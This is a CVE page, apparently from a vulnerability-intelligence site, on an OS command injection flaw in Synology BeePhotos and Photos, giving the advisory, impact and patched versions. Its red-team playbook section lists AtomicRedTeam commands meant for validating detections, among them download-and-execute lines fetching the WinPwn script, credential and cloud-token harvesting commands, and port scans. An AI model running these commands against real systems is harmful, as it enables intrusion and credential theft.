CVE-2024-10443
Overview
This vulnerability is an OS command injection caused by improper neutralization of special elements in input data. The flaw resides in the Task Manager component of Synology BeePhotos and Synology Photos, where user-supplied input is not correctly sanitized before being passed to system-level commands. This allows crafted input to be interpreted as commands by the underlying operating system, affecting versions prior to 1.0.2-10026 and 1.1.0-10053 for BeePhotos, and prior to 1.6.2-0720 and 1.7.0-0795 for Photos.
Vulnerability Description
Improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability in Task Manager component in Synology BeePhotos before 1.0.2-10026 and 1.1.0-10053 and Synology Photos before 1.6.2-0720 and 1.7.0-0795 allows remote attackers to execute arbitrary code via unspecified vectors.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary OS commands with the privileges of the affected application, potentially leading to full system compromise. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can result in unauthorized data access, service disruption, or lateral movement within the network environment hosting Synology BeePhotos or Photos.
Solution
Synology has released security advisories Synology_SA_24_18 and Synology_SA_24_19 addressing this vulnerability. Users should upgrade Synology BeePhotos to versions 1.0.2-10026 or later and 1.1.0-10053 or later, and Synology Photos to versions 1.6.2-0720 or later and 1.7.0-0795 or later. Detailed patch instructions and updates are available at https://www.synology.com/en-global/security/advisory/Synology_SA_24_18 and https://www.synology.com/en-global/security/advisory/Synology_SA_24_19.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Task Manager component of specific Synology applications arises from improper neutralization of special elements used in operating system commands, leading to an OS command injection flaw. This type of vulnerability allows an attacker to manipulate command execution by injecting arbitrary commands into the system. In this case, the affected versions of Synology BeePhotos and Synology Photos are susceptible to exploitation due to inadequate input validation and sanitization processes. When user inputs are not properly handled, an attacker can craft inputs that are interpreted as legitimate commands by the operating system, potentially allowing them to execute arbitrary code with the privileges of the application.
Attack vectors for this vulnerability are varied, but they primarily involve remote exploitation. An attacker could leverage this flaw by sending crafted requests to the affected applications, which would then process these requests without adequate checks. For instance, if an attacker can influence parameters that are passed to system commands, they could execute malicious scripts or commands that could compromise the integrity of the system. Scenarios could include unauthorized access to sensitive data, installation of malware, or even complete system takeover, depending on the privileges of the application and the underlying operating system.
The real-world impact of such a vulnerability is significant, particularly for organizations relying on Synology products for data management and storage. Successful exploitation could lead to severe business risks, including data breaches, loss of sensitive information, and disruption of services. The financial implications could be substantial, encompassing costs related to incident response, system recovery, and potential regulatory fines for data protection violations. Additionally, the reputational damage resulting from a security breach can have long-lasting effects on customer trust and business relationships.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating software to the latest versions is crucial, as vendors often release patches that address known vulnerabilities. Employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively. Educating staff about secure coding practices and the importance of input validation can also reduce the risk of similar vulnerabilities being introduced in the future.
In conclusion, the OS command injection vulnerability in Synology's Task Manager component poses a serious threat to users of BeePhotos and Photos applications. The potential for remote code execution highlights the need for robust security measures and vigilant monitoring. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and protect their critical assets.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Photos | All |
cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
|
|
|
Synology | Beephotos | All |
cpe:2.3:a:synology:beephotos:*:*:*:*:*:beestation_os:*:*
|
|
|
Synology | Beephotos | All |
cpe:2.3:a:synology:beephotos:*:*:*:*:*:beestation_os:*:*
|
|
|
Synology | Photos | All |
cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10443 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_24_18 |
| synology.com |
GitHub CVE
vendor-advisory
|
https://www.synology.com/en-global/security/advisory/Synology_SA_24_19 |